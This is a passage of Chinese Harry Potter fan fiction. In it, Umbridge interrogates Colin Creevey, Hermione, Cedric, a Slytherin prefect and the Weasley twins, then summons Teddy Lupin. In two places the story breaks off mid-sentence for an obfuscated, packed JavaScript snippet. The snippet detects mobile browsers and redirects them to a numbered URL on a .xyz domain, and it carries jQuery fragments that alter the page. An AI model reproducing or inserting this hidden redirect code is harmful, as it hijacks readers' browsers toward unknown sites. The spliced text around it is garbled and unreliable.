科林·克里维双手攥紧相机,像抱着救命稻草,每一步都像踩在悬空的细线上。调查组临时办公室的木门紧闭,看起来毫不起眼,却让他的膝盖止不住发颤。 “进来。”一个甜腻的声音从门内传出。 科林咽了口唾沫,推开门,映入眼帘的是满室刺眼的粉色——乌姆里奇在短短几天内就将这间借用的办公室彻底改造成了她的风格。墙上挂满了猫咪盘子,瓷猫们圆溜溜的眼睛随着他的移动而转动,无声评判着每个来访者。粉色蕾丝桌布覆盖着办公桌,几个打开的行李箱靠墙摆放,仿佛宣示着她长期驻扎的决心。 乌姆里奇坐在粉色扶手椅里,桌上摆着半盘未动的曲奇和一壶热茶。瓷猫们偶尔发出的轻微咕噜声在寂静的空间中显得尤为刺耳,原本就让人倍感压力的氛围变得更为诡异了。 “克里维先生。”乌姆里奇合上一本厚重的记录本,挥挥魔杖,对面的椅子向前滑动几寸,“请坐。” 科林挪到椅子上,椅子发出吱吱响声,把他吓得肩膀一抖。他缩了缩身子,把相机藏在胳膊下方,指尖不安地摩挲着镜头盖。 “茶?”乌姆里奇举起茶壶,笑容纹丝不动。 “不、不用了,谢谢。”科林的声音细若蚊鸣。 “不必紧张,克里维先生。”乌姆里奇的目光锁定他的相机,“这不是惩罚,只是聊聊。我听说你很喜欢摄影,大家都说你的相机从不离身。” 科林僵硬地点点头,一只猫咪盘子眨了下眼,他的肩膀明显一缩。 “哦,也许你没听说过,我也很喜欢摄影。我一直认为——”乌姆里奇往前倾身,声音柔和得不自然,“摄影是记录真相的绝佳方式,比如,霍格沃兹一定藏着许多值得捕捉的瞬间。” 说到这里,她坐直身子,举起茶杯抿了一口茶,才继续问道,“你最喜欢拍什么?” “风景,魔法瞬间……还有朋友们。”科林小心翼翼地回答,指甲抠着相机边缘。 乌姆里奇的笑容加深,“你一定拍下了不少珍贵回忆。有没有什么特别的照片?或许是在不寻常的地方拍到的人物?” 科林指甲停住,像是想起乌姆里奇曾经的警告,猛然摇头,“我不乱拍,也不会违反校规。” 乌姆里奇眼中的失望一闪而过,很快又笑开,“那关于圣诞晚会那天的——舞台上出现了那么可怕的东西,听说当时你就在前排,一定看得很清楚。” “蛇怪,”科林的声音变得急促,双手紧握相机,“它突然出现,差点——”他顿住了,陷入回忆的恐惧中。 “它差点什么?”乌姆里奇温和地追问。 “它差点咬到我,”科林喘了口气,“泰迪冲过来把我拉开,否则我根本没法逃开。他救了我的命。”说到最后一句时,科林神情中的感激盖住了恐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156408|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惧。 “泰迪·卢平?”乌姆里奇立刻抓住这个名字,眼睛微微眯起,“据我所知,他也只是个二年级学生,面对蛇怪,反应这么迅速,这可真不简单。” “泰迪很特别,”科林脱口而出,“他是个易容马格斯,还会变出兔子牙——”他突然噤声,意识到自己说得太多。 “易容马格斯。”乌姆里奇手指在桌面上轻敲,“有意思,这种与生俱来的……特殊能力,往往伴随着其他不寻常的特质。他平常对那些危险生物有什么特别的看法吗?比如……狼人?” 科林眉头微蹙:“我没听他说过。” 乌姆里奇停顿片刻,注视着科林脸上明显的不安,换了个角度,“让我们回到那一晚,听说最后是佩弗利尔教授击倒的蛇怪?” 科林迅速点头,“他是最好的黑魔法防御术教授!他知道怎么对付所有黑魔法生物。” “斯内普教授那晚也在场,听说与佩弗利尔教授配合得相当默契,有人看到佩弗利尔教授和斯内普教授施展了一种古老的咒语。”乌姆里奇缓缓说道,每个词都带着探究,“考虑到佩弗利尔教授来霍格沃兹的时间并不长,这种默契着实令人惊讶。尤其是两位教授的日常关系似乎并不……融洽。” 科林抿紧嘴唇:“我……我当时太害怕了,没留意到这些。” “年轻人之间总有各种传言流传。”乌姆里奇微笑道,“一年级的黑魔法防御术课应该是由洛哈特教授来负责的,你却认为佩弗利尔教授是‘最好的黑魔法防御术教授’——虽然我对此并不认可——可学生们是如何形成这些一致看法的?那些不寻常的事总是传播得特别快。你们之间必定有什么特别的交流方式。” 科林摇头,手指绞紧相机带,“没有,就是……宿舍里随便聊聊。” 乌姆里奇魔杖轻轻一挥——科林怀中的相机竟自动飘到了她手中。她慢悠悠抚着镜头,“多漂亮的相机。是父母送你的礼物吗?麻瓜货,挺精致的。” 科林脸色煞白,猛地站起,“请、请还给我!” “坐下,克里维先生。”乌姆里奇的声音冷了几分。 科林僵在原地,双眼紧盯着相机。 “我说过,我很欣赏摄影艺术,”乌姆里奇转动相机,指甲轻敲镜头,“尤其是能捕捉真相的照片。” 她的指尖移向了相机背后的弹出按钮,“也许我该检查里面的胶卷,看看有没有什么值得注意的画面。当然,如果你告诉我学生间的传言都是怎么来的,我就不必费这个心了。” “只是随便听来的!”科林声音发紧。 乌姆里奇手指一顿,相机在她掌中微微倾斜,“克里维先生,我的耐心是有限的。” 科林的目光在相机和乌姆里奇之间来回挣扎,瞳孔中闪烁着明显的抉择痛苦。他张了张嘴,又咬住下唇,像是在与自己的恐惧进行最后的抗争。一滴汗珠顺着太阳穴滑下,他终于低声说道,“有个收音节目,我朋友带我听过几次……” “收音节目?”乌姆里奇的双眼骤然亮起,“这就是那个小秘密!学生们在这个节目里都讨论些什么呢?是否有关于特定教授的讨论?” “学校发生的趣事,”科林艰难地咽了口唾沫,“有时候也会提到教授们。” “比如佩弗利尔教授和斯内普教授?”乌姆里奇急切地追问。 科林不情愿地点头,“有次节目提到他们关系挺好的,好像私下见面很频繁,连……连暑假都一直行动。但那些只是猜测!节目里说话总是夸张的,大家就听着好玩。” “这个节目,怎么收听?”乌姆里奇迅速追问。 科林沉默不语,眼神再次落到被扣押的相机上。 “克里维先生,”乌姆里奇叹息,“这不是什么大不了的秘密。告诉我收听方法,我把相机还给你。否则,我只能假设这个广播在传播有害谣言,可能威胁到学校安全。” “它只是学生们的娱乐,没有恶意。”科林急切地辩解。 “那就证明给我看。”乌姆里奇唇角微扬,将相机在掌心转了一圈,“告诉我如何收听,我自己判断它的内容是否恰当。” 科林的肩膀垂下,“需要一台收音机,晚上八点的时候慢敲两下,再快敲三下,说出‘我和洛哈特有个约会’——如果暗号还没变的话,然后调到97.5频道。”他犹豫一下,补充道,“可是圣诞后就一直没有上新节目。” “真的吗?”乌姆里奇挑眉,语气锐利,“这段时间不会有新内容?” “我听说……”科林目光躲闪,吞吞吐吐地说,“明晚可能会有新节目。但我不确定。” 乌姆里奇审视了他片刻,最终满意地点头,将相机放回桌面,“感谢你的配合,克里维先生。”她抓起羽毛笔,纸上划出沙沙声,记下了这条意外收获,“调查组会对任何未经授权的学生秘密活动给予特别关注,尤其是那些可能传播不安全内容的渠道。” 科林迅速抓起相机,紧紧抱在胸前,站起身跌跌撞撞向门口退去。 “克里维先生,”乌姆里奇的声音追上他,“今天的谈话内容最好保密。我们会保持联系的。” 科林快步穿过门,几乎是逃出了办公室。门关上,发出沉闷的响声。 “很好,下一个。”乌姆里奇在名单上划掉科林的名字,目光锁定了下一个目标。 猫咪盘子们整齐地喵了一声。 71. 韦斯莱的把戏 泰迪坐立不安,手不停地揉着变形课本。赫敏的座位空了整整一节课,她的书包孤零零地挂在椅背上。她离开时的情景还清晰印在他的脑海——麦格教授才刚讲到复杂变形定律,办公室门就被轻叩三声,一张粉色羊皮纸递进来,赫敏便被叫走了。 罗恩焦躁地把羽毛笔在指间转了两圈,墨水滴在羊皮纸上,晕染成一个歪斜的黑点。“她没事的。”他嘀咕了好几次,像是在安慰自己,“赫敏比那个老蟾蜍聪明一百倍。”他看向泰迪,见对方没反应,又转了两圈羽毛笔。 教室里气氛绷得紧紧的。麦格教授的声音刻意提高,讲解变形咒时语速快了些。学生们埋头翻书,假装专注课本,目光却不停地瞥向赫敏的空座位。 罗恩凑近泰迪,压低声音,“你早上没见到那个爱拍照的一年级,脸白得像幽灵。弗雷德说他从粉色办公室跑出来,手里死死攥着相机,跟刚从蜘蛛窝里逃出来一样。” 泰迪感到一阵不安。“她问了科林什么?” “不知道,”罗恩皱眉,“但她肯定在挖什么大事。” “卢平先生,韦斯莱先生——”麦格教授的声音突然切入,锐利的目光扫过课桌。她放下粉笔,双手撑在讲台上,“或许你们愿意与全班分享那些比变形咒更加有趣的话题?” 两人立刻挺直背,同时摇头。麦格教授眯眼多看了他们几秒,才继续讲课。泰迪注意到她的声音比平时更加严厉,并时不时望向教室门口。 下课铃一响,学生们迅速收拾好东西,匆匆离开教室。罗恩抓起书胡乱塞进书包,拉着泰迪挤出教室。走廊上,低语声四散开来—— “听说好几个学生都收到通知了——” “帕金森说肯定会叫到她——” “跟那个蛇怪有关——” “卢平肯定要倒霉,每次他都——” 午餐时分,礼堂里学生们都不敢大声说话。长桌间的交谈声细碎,学生们低头啃面包,眼神偷偷打量四周。 泰迪和罗恩在格兰芬多长桌找到了赫敏,她面前摊着一本《魔法理论》,目光却不在书上,反而心不在焉似的盯着教师席的空位。 “赫敏!”罗恩几乎跳到长凳上,差点撞翻南瓜汁,“你盯着那儿干嘛?那女人……”他压低声音,“她问了你什么?” 赫敏啪地合上书,“那个女人只会虚张声势。她什么都不知道,只是在碰运气。” “她没对你做什么吧?”泰迪也凑了上来,发梢因为紧张而开始泛出浅绿。他视线在赫敏身上扫了一圈,确认她一切正常后才松了口气。 赫敏瞥了一眼四周,几个伸长脖子瞧着这边的一年级学生立刻低头,假装对南瓜汁产生了极大兴趣。她压低嗓音,“一开始还假装友好,倒茶递点心,笑得假极了。”她模仿乌姆里奇的甜腻语调,“‘格兰杰小姐,我听说你的成绩非常优异呢!’” “然后就开始问些问题——佩弗利尔教授的课怎么样,他有没有说过什么奇怪的话,圣诞晚会那晚我看到了什么,还有你——”她朝泰迪抬了抬下巴,“和佩弗利尔教授在蛇怪出现时都干了什么之类的。” “你怎么回答的?”罗恩紧张地咬着嘴唇。 “我可是充分准备过的!”赫敏骄傲地扬起头,“我告诉她佩弗利尔教授是霍格沃兹教过我的最优秀的黑魔法防御术教师,没有之一,然后还引用了《霍格沃兹:一段校史》中的教师聘任标准,顺带背了《魔法教育法》第十六条第三款关于教学评估的规定。” “然后呢?”泰迪瞪大眼睛。 “等我讲到《教师权责手册》第十七章第三段时,她脸都绿了。”赫敏的声音带上一抹得意。“她估计没想过学生会对教育法规这么了解。” 罗恩愣了一秒,随即爆出一声笑,“赫敏,你真是天才!” “我只是陈述事实。”赫敏的脸微微发红,随即恢复严肃,看向泰迪,“她对你也特别感兴趣——一直暗示你是不是和蛇怪有关。你最好小心。” 泰迪胃里一沉,发尖的绿色更深了些。“她为什么会这么想?” “因为那个谣言——每次蛇怪出现,你都在现场。她肯定是听说了。”塞德里克·迪戈里在他们身后说道。赫奇帕奇的找球手面色阴沉,在长凳上坐下,“她刚刚也找过我,问了一堆佩弗利尔教授和斯内普那晚的事。” “你告诉她什么了?”赫敏眯起眼,低声问,“你最好小心你的话,塞德里克。” “告诉她实话。”塞德里克点头,语气平稳,“佩弗利尔教授救了我们所有人。她试图引导我说些别的,甚至暗示这关系到我的‘前途’——我没理她。” 泰迪感到寒意顺着脊背爬升。“所以,她在收集对哈……佩弗利尔教授的不利证据?” 塞德里克皱眉想了一会儿,“不光是这样。我觉得她像是在找什么线索。而且,”他看着泰迪,“她也很关注你和佩弗利尔教授的关系。” 一阵沉默压下来,只有远处餐具碰撞的轻响。 “她不会有发现的。”赫敏握紧书,低声说,“因为根本没什么可发现的。” “希望如此。”塞德里克站起身,“我得回去了。只是想提醒你们——乌姆里奇可不好惹,她不会这么容易放弃。” 他走向赫奇帕奇桌子,脚步渐远。泰迪眉头紧锁,目光不由自主移向教师席,哈利和斯内普的座位都空着,而麦格教授独自坐着,餐盘几乎未动,只是手指一下下敲着桌面。 当弗立维教授在她身旁坐下,她没抬头,推过一杯南瓜汁,同时轻声道,“十二个学生,菲利乌斯。今早已经传唤了四个——两个赫奇帕奇,一个格兰芬多,一个斯莱特林。” 矮小的魔咒教授接过杯子,声音很轻,“拉文克劳有三名学生收到下午的通知。米勒娃,这已超出了安全评估的范围。” 麦格教授嘴唇紧抿,只微微点头。 —————— 乌姆里奇整整一个上午都在约谈霍格沃兹的学生。一开始她还有心情悠闲地品几口茶,毕竟第一场“胜利”轻而易举——那个年轻的赫奇帕奇男孩毫无抵抗就交出了她想要的信息,包括那个神秘的学生广播。 然而,她的得意并未持续太久。 赫敏·格兰杰,这个以聪明著称的格兰芬多女孩,带来了她意想不到的麻烦。这个格兰芬多女孩用各种法规条文反击她的每个问题,每当乌姆里奇试图插话,她就毫不犹豫地引用下一条规章。她离开时,乌姆里奇甚至把茶杯把手捏出了一道细缝。 下一个学生的到来更是让她恼火——塞德里克·迪戈里,这位赫奇帕奇的模范生,以令人火大的正直态度,拒绝了所有关于佩弗利尔教授和泰迪·卢平的负面暗示。 到塞德里克离开时,乌姆里奇几乎耗尽了所有的耐性。茶杯的裂缝变得更深,茶水在杯中晃荡,映出她扭曲的倒影。 局面直到凯瑟琳·贝斯特尔的到来才有所扭转,她的合作态度让乌姆里奇松了一口气。 “贝斯特尔小姐,”面对斯莱特林的七年级学生,乌姆里奇的语气和善许多,“感谢你抽出时间。” “魔法部的工作理应得到配合。”凯瑟琳端正地坐下,接过茶杯轻啜一口。 “我听说你在圣诞话剧中担任旁白,视野应该很好。” 凯瑟琳点头,“确实如此。蛇怪出现时,学生乱成一团。佩弗利尔教授几乎立刻就喊出‘别看它的眼睛’,斯内普教授也同时赶到现场。” 乌姆里奇敏锐地抓住关键点,“同时出现?反应这么快?” “是的,几乎像是……”凯瑟琳精准地停顿,让乌姆里奇自己填补那个暗示,“相当敏捷的反应,不得不承认。” “你对此有什么看法?”乌姆里奇询问,身体前倾。 “斯内普教授是我们的院长,我完全信任他的能力。至于其他人……”她优雅地耸肩。 “你对泰迪·卢平的看法是?”乌姆里奇追问,“你们都在舞台上,他在事件中扮演了什么角色?” 凯瑟琳抬起眉毛,“实话说,我对二年级的格兰芬多学生了解有限。那几乎是另一个世界。不过——”她顿了顿,补充道,“如果您想了解更多,我们学院的潘西·帕金森或布雷司·扎比尼可能知道得更多,他们总是对这类事特别关注。” “这个建议很有价值。”乌姆里奇眼中闪过一丝满意,羽毛笔在羊皮纸上划过,记下今天下午第一个真正有用的信息。 —————— “韦斯莱先生。”乌姆里奇端坐在桌后,指甲在桌面上敲出一种精确的节奏,“请坐。” 走进房间的男孩有一头标志性的红发,校服袍内露出的毛衣上绣着一个醒目的大写字母“W”——毫无疑问是韦斯莱家的孩子。 乌姆里奇在名单上“乔治·韦斯莱”的名字旁画了一个小勾。 乔治大咧咧地坐下,椅子嘎吱作响。他环视房间,冲墙上的猫咪盘子咧嘴一笑,又盯上了桌上的糖霜饼干。 “可以吗?”他伸手拿起一块,试图摆出彬彬有礼的样子,但没等回答就咬了一口,“真香。您有考虑过做糕点师吗?可能比调查工作更适合您。” 乌姆里奇的笑容僵硬了一瞬,“韦斯莱先生,让我们切入正题。据我了解,你和你的兄弟在晚会上负责魔法特效?” “是的,魔法烟火!”男孩兴奋地点头,“韦斯莱魔法把戏坊的独家配方——‘混沌烟雾’。我们考虑开个小店,毕业后。”他微微前倾,声音降低,仿佛在分享一个秘密,“您要是有兴趣,我们可以预留些样品给您——纯粹出于敬意,当然。” 乌姆里奇的眼神变得冷淡,“巧合的是,你们的烟雾恰好在蛇怪出现时派上了用场。” “多么幸运的巧合!”男孩一脸天真无辜,“就像塔楼的钟总在我肚子饿时敲响。魔法世界真是奇妙,不是吗?” 几只猫咪盘子发出古怪的咯咯声,像是在窃笑。乌姆里奇投去一个警告的眼神,它们立刻噤声。 “这种玩笑并不幽默,韦斯莱先生。”乌姆里奇的声音里耐心所剩无几,“我希望你认真回答。关于那天晚上,你看到了什么?” “哦,那可真是太多了!”男孩兴致勃勃,“首先是洛哈特教授的那套闪瞎眼的礼服长袍,然后是——” “我指的是蛇怪。”乌姆里奇打断他。 “啊,那个啊。”男孩的表情夸张地变得严肃,眉毛拧成一个滑稽的结,“我和弗雷德正忙着准备最后一幕的烟花,突然听到佩弗利尔教授喊‘别看眼睛’,我们就点了‘混沌烟火’——调得特别浓,连蛇怪都咳了两声。我也没看清它长什么样——得感谢梅林,不然我现在就在医疗翼躺着了。” 乌姆里奇冷笑一声,手指轻抚羽毛笔,“你想说这也是巧合?佩弗利尔教授出现得太及时,据说斯内普教授也同时出现在现场。”她倾身向前,眼睛眯成细缝,“他们如此默契地对付蛇怪,以前见过它吗?用了什么魔咒?有人说是古老咒语。” 乔治眼睛一亮,像是突然领悟了什么,脸上露出恍然大悟的表情,“我知道了!” 乌姆里奇急切地问,“你想起了什么,韦斯莱先生?”她紧握羽毛笔,笔尖悬在纸上,随时准备记录。 乔治眨了眨眼,探身向前,声音低得几乎是耳语,“可这只是我的猜测——” 乌姆里奇轻轻点头,身体紧绷,等待着。 “打败蛇怪的不是什么古老魔咒,”乔治神秘兮兮,每个字都似乎带着某种重大发现的震撼,“是爱啊!”他尾音上扬,几乎唱了出来。 乌姆里奇被震住了,身体微微后仰,眉毛高高挑起,“爱?”这个词从她嘴里蹦出来,像是某种她无法理解的异国语言。 乔治诚恳地点点头,“我不确定,但我猜——”他压低声音,像在透露惊天秘密,“他们可能是秘密情人。” “什么?”乌姆里奇手一抖,差点打翻茶杯,墙上的猫咪盘子齐声喵叫。 “噢,您没听说吗?”乔治俨然一副八卦专家的模样,手肘支在桌上,“整个霍格沃兹都在传呢,有人说他们经常深夜见面,佩弗利尔教授还专门为斯内普教授做了个人偶表达爱意。——我以为您想听这个。” 乌姆里奇瞪着他,眼睛眯成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156409|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条缝,“你在胡说八道,韦斯莱先生。” “也许吧。”乔治耸耸肩,“我只是复述传言。您不是想听学生间的八卦吗?” 乌姆里奇深吸一口气,努力掩饰着怒火,“你说‘整个霍格沃兹都在传’——这些传言是怎么传播的?”她语气骤然变冷,“是那个神秘的收音节目吗?” 乔治眨眨眼,略显惊讶,但很快恢复轻松的表情,“您已经听说过‘霍格沃兹八卦前哨站’了?就是个学生娱乐节目,讲讲笑话,谈谈学校趣事。”他轻松地摆摆手,“您不会真以为有人会在那里传播什么秘密计划吧?完全无害,就像魔法史课上宾斯教授的故事一样令人昏昏欲睡。” “无害?”乌姆里奇嘲讽道,“传播关于教师的八卦和谣言算‘无害’?这是对教师权威的公然挑战!” “我们从不传谣言。”男孩举起右手,状似发誓,“只是分享大家都知道的事实——比如佩弗利尔教授的课有多精彩,斯内普教授的视线有多可怕。”他顿了顿,“说起来,您知道吗?上次魔药课,他看了我一眼,我的坩埚竟然自动沸腾起来了!多神奇啊!” 乌姆里奇无视了他的玩笑,“这个广播节目是谁负责的?谁是主持人?” “不知道。”乔治无忧无虑地回答,“匿名的,保密工作做得特别好。” “但你知道如何收听。”这不是问句,而是肯定的陈述。 “哦,那个嘛……”男孩看起来在认真思考,“好像是收音机敲三下——不,五下?或者是八下?然后说‘我爱皮皮鬼’?不,等等,应该是‘熬药伤身体’?”他尴尬一笑,“抱歉,我记性不太好。” 乌姆里奇还想说什么,一阵敲门声打断了她的话。“抱歉,打扰一下。”门外传来一个几乎一模一样的声音,有着相同的调皮音调,“我是乔治·韦斯莱。” 乌姆里奇瞪大了眼睛,目光在门口和椅子上的红发男孩间来回扫射。男孩的笑容更灿烂了,毫不掩饰脸上的得意。 门被推开,另一个红发男孩走了进来,穿着一样的毛衣,脸上雀斑和顽皮微笑一模一样,连站姿都如出一辙。 “您好,乌姆里奇女士。”新来者彬彬有礼地说,“听说您要见我?” “韦斯莱先生。”乌姆里奇站了起来,努力维持的甜腻笑容终于崩塌,眼中闪烁冰冷的怒火,“你们以为这很有趣?冒充对方,浪费魔法部时间——你们对调查的态度太轻浮了。” 椅子上的男孩——现在应该称他为弗雷德·韦斯莱——露出夸张的惊讶表情,“抱歉,乌姆里奇女士,我以为您口中的‘韦斯莱先生’指的是我?毕竟,我也是韦斯莱。”他语调轻快,仿佛这一切不过是个无伤大雅的小误会。 门口的乔治也露出困惑的表情,头微微一歪,“通知不是说乌姆里奇女士找我谈话吗?我收到的纸条上明确写着‘乔治·韦斯莱请于下午三点到调查组办公室’。” “你们——”乌姆里奇的脸涨红,“这是对调查的妨碍!是对魔法部权威的亵渎!” “哦?”乔治一脸无辜,“我以为弗雷德刚刚已经回答过您所有的问题?”他瞥了兄弟一眼,再看向乌姆里奇,“您在暗示我亲爱的孪生兄弟说了谎?太伤人了,乌姆里奇女士。格兰芬多从不撒谎。” 乌姆里奇嘴唇紧抿成线,“这种幼稚的恶作剧只会让你们自己惹上麻烦。我不管你们谁是谁——” “那您的问题——” “够了!出去!”乌姆里奇尖叫,声音高得让几只猫咪盘子摔落,碎了一地,“你们会为这种行为付出代价的!” 弗雷德站起来,与乔治交换一个不易察觉的眼神,“当然,当然,谢谢您的忠告,乌姆里奇女士。”他声音欢快,“我们会记住的,对吧,乔治?” “当然了,弗雷德。”乔治点头,假装严肃。 双胞胎灵巧地同时转身,几乎是蹦跳着离开了办公室。门关上时,乌姆里奇还能听到走廊里爆发出的压抑笑声和击掌声,只留她在混乱的办公室里咬牙切齿,周围是碎裂的猫咪盘子和一片狼藉的文件。 乌姆里奇狠狠地瞪着门口,呼吸急促,脸颊抽动。荒谬!完全荒谬!这两个韦斯莱居然胆敢如此戏弄魔法部的官员!她一挥魔杖修复了破碎的猫咪盘子,同时在心中将那个可笑的“秘密情人”说法彻底驳回。哈利·佩弗利尔和西弗勒斯·斯内普?这简直是对调查官的侮辱!那对韦斯莱恶作剧鬼显然是故意的! 然而,在怒火之下,一丝思绪渐渐成形——那两位教授确实在危机中展现出了不寻常的协作和默契。撇开那个荒唐的“爱情”理由,那会是什么?共谋?秘密联盟?又或者,某种她尚未意识到的威胁? 她深吸一口气,强迫自己冷静。不能被这些小鬼牵着鼻子走——她可是魔法部的高级调查官。有必要改变策略了。 下一个名字已经被圈起:泰迪·卢平。 乌姆里奇盯着这个名字,怒火渐渐沉淀为一种冷静的计算。这一整天的约谈除了一开始的科林·克里维,几乎毫无实质性进展——格兰杰那个二年级小女孩竟能用一堆法规条文把她困在原地;那对韦斯莱四年级的捣蛋鬼简直把调查当成了恶作剧的舞台;连赫奇帕奇的塞德里克·迪戈里也固执得令人生厌。 她原本计划收集更多细节后再约谈泰迪·卢平,但现在看来,循序渐进只是在浪费时间,没必要再与那些故意和调查组对抗的学生周旋了——直接从源头下手,才是最高效的策略。 她拿起一支新的羽毛笔,蘸了蘸墨水,在泰迪的名字下方郑重地画了个星号。 泰迪·卢平——那个异常之处越来越多的男孩。她收集到的情报显示他最近上课心不在焉,头发颜色变化频繁——易容马格斯情绪不稳的迹象。一个脆弱、不稳定的十二岁男孩,在谣言的压力下摇摇欲坠,还恰好是佩弗利尔教授的教子。他会是最重要的突破口。 而且那男孩对狼人的异常态度也值得深究。一个年纪轻轻就对危险生物抱有莫名同情的孩子,背后必定藏着不为人知的故事——或许,正是揭开哈利·佩弗利尔秘密的关键。那些秘密,她非挖出来不可。 72. 泰迪的意外泄密 泰迪俯身在坩埚前,手指紧捏刀柄,缓缓切下缬草根的细段。身旁的坩埚里,鸽灰色的药液在微火下咕嘟作响,散发出一股刺鼻的涩味。他小心翼翼地将根须投入其中,药液泛起几圈涟漪,却依旧浑浊,远不是教科书上所描述的“淡紫色透明液体”。地窖深处传来水滴落地的回音,混杂着同学们低低的呼吸声,空气冷得像是能渗进骨头。 一阵轻微的吱吱声打破了沉寂,地窖门裂开一道缝,一只粉色信笺滑入,像被无形的手牵引,在半空盘旋片刻后,轻飘飘地落在斯内普的讲台上。斯内普一把抓起信笺,黑眼睛飞快掠过字迹,眉头随即拧成一道暗影。 “卢平。”他的声音低沉,在寂静中显得格外清晰,“收拾东西,到门口来。” 罗恩扭过头,脸上的雀斑在烛光下更显明显,他压低嗓子:“准是那个粉红蟾蜍,别让她唬住你。” 赫敏严肃地抿起嘴,眼神郑重地望向泰迪,“泰迪,保持冷静,少说话。别让她把话题引到你不想谈的地方。” 泰迪回以一个僵硬的点头,手指略微发颤地收拾起桌上的工具,跟着斯内普迈出教室。 走廊里空无一人,斯内普快步向前,直到拐角处才骤然停步,袍角甩出一声脆响。他抽出魔杖,轻轻一挥,空气中泛起一层无形的涟漪——静音咒悄然生效。 “乌姆里奇要见你。”他直截了当地说,嗓音冷得像地窖里的石板,“昨晚我和佩弗利尔已经料到她可能找上你。今天她已经约谈了好几个学生,显然是在收集关于蛇怪事件的‘证据’。” 泰迪喉咙一紧,脸颊的血色瞬间褪去:“我该怎么办?” “保持冷静,”斯内普严肃地看了他一眼,“管好你的情绪,还有——”他意有所指地瞥了眼泰迪的头发,“那些不该显露的变化。那女人比她外表要阴险得多,会挖空心思套你的话,找邓布利多的麻烦。但她暂时不敢越界。别碰她给的任何东西,吃的喝的,一概拒绝。” “有什么是我不该说的吗?”泰迪的声音有些发干。 斯内普冷淡地看了他一眼:“别犯傻,卢平。你比谁都清楚哪些事不能提及——时间旅行,你父母的真实身份,佩弗利尔的真实身份——这些话题,无论如何都要避免。” 泰迪咽了口唾沫,用力点头:“我明白了,西弗。” “它会陪着你。”斯内普瞥向他的袍子,语气平淡得像在谈论天气。 “什么?”泰迪一愣,随即感到衣兜微微下沉,低头一看,西比的小脑袋探了出来,半个身子还藏在布料里。 “注意你的措辞,斯内普。”人偶愤怒地挥舞着细胳膊,“我不是‘它’,我有名字,有智慧,有尊严!” 斯内普鼻子里发出一声轻嗤,“不过是一堆被施了魔法的木头和布料。别忘了你的职责。” “哼,至少我不用整天板着脸教一群笨蛋熬魔药。”西比反唇相讥,转向泰迪时语气略软,带着几分硬邦邦的保证,“别担心,小巨怪,我会盯着那个粉红蟾蜍的。如果她敢对你用摄神取念,我会让她好看。”说完,它一缩脑袋,钻回了口袋。 “结束后直接到地窖来,我和佩弗利尔会在那里等你。”斯内普最后撂下一句,“别乱了阵脚,卢平,你没做错什么。” 那语调冰冷冷的,不知怎的让泰迪的心情奇异地平复了下来。他挺直了背,朝乌姆里奇办公室的方向走去,手掌却湿得像刚从水里捞出来。 —————— “请进。”一个甜得发腻的声音从门后传出。 泰迪深吸一口气,推开了门。刺眼的粉色立刻充斥视野——从地毯到窗帘,再到桌面的茶具,无一能逃脱这颜色的侵占。墙上挂满了装饰盘,盘中的猫咪齐刷刷转动眼珠,目光如影随形,紧盯着他的每一个动作。 “卢平先生。”乌姆里奇坐在办公桌后,嗓音甜得几乎要滴出蜜来。她一身粉色套装,胸前那枚乌黑的天鹅绒蝴蝶结像个不协调的污点,扎眼地嵌在粉红海洋中,“请坐。来杯茶吗?” 泰迪想起斯内普的警告,礼貌地摇头,“不用了,谢谢。”他坐进一张嘎吱作响的椅子,身子挺得笔直,双手规矩地搁在膝头。头发还维持着正常的棕色,至少眼下还没出岔子。 乌姆里奇对他的谢绝毫不在意,自顾自倒了杯茶,杯沿轻触茶托,发出清脆的叮当声。她抿了一口,目光打量着男孩:“难得见这么有礼貌的学生。” 泰迪感到口袋里西比隔着布料戳了他一下,提醒他别松懈。 “告诉我,”乌姆里奇放下茶杯,“你喜欢霍格沃兹吗?” “喜欢。”泰迪简短回答,牢记斯内普的叮嘱——少开口。 “那可真好。”乌姆里奇笑了笑,眼缝眯得更窄,“霍格沃兹的确是所奇妙的学校,妙得有时候会出点古老的小插曲,比如蛇怪的事。”她的嗓音陡然一变,目光如针般落在他身上,“听说,你在现场救了科林·克里维?” “是的。”泰迪点头,尽量保持声音平稳,“他差点被蛇怪咬到。” “多么勇敢的行为。”乌姆里奇嘴角一弯,皮笑肉不笑的,语气里透着明显的怀疑,“一个二年级学生,面对传说中的怪物,竟然能如此的冷静。这倒让我想起佩弗利尔教授的表现——同样的果断,真是叫人佩服。”她把“果断”一词咬得格外重。 泰迪感到头皮微微一紧,赶紧定了定神,“哈利教过我的,遇到危险要保持冷静。”他努力让语气听起来自然。 “哈利?”乌姆里奇的眉毛微微一挑,“你直呼佩弗利尔教授的名字?” “他是我的教父。”泰迪平静地解释,“在私下里,我一直这么叫他。” 乌姆里奇注视着他片刻,话题一转,“你是个易容马格斯,对吧?我注意到你的头发经常改变颜色——这是一种非常罕见的天赋。” 泰迪感到一阵不安,发梢有些控制不住地泛起浅绿色。他深吸一口气,稳住声音,“是的,我生来就这样。” “我有些好奇——”乌姆里奇的声音带着刻意的疑惑,“这种能力通常是遗传的,不是吗?你的父母中有人是易容马格斯吗?” “我母亲是。”泰迪心跳骤然加速,急忙补充道,“但我父母都已经去世了。” 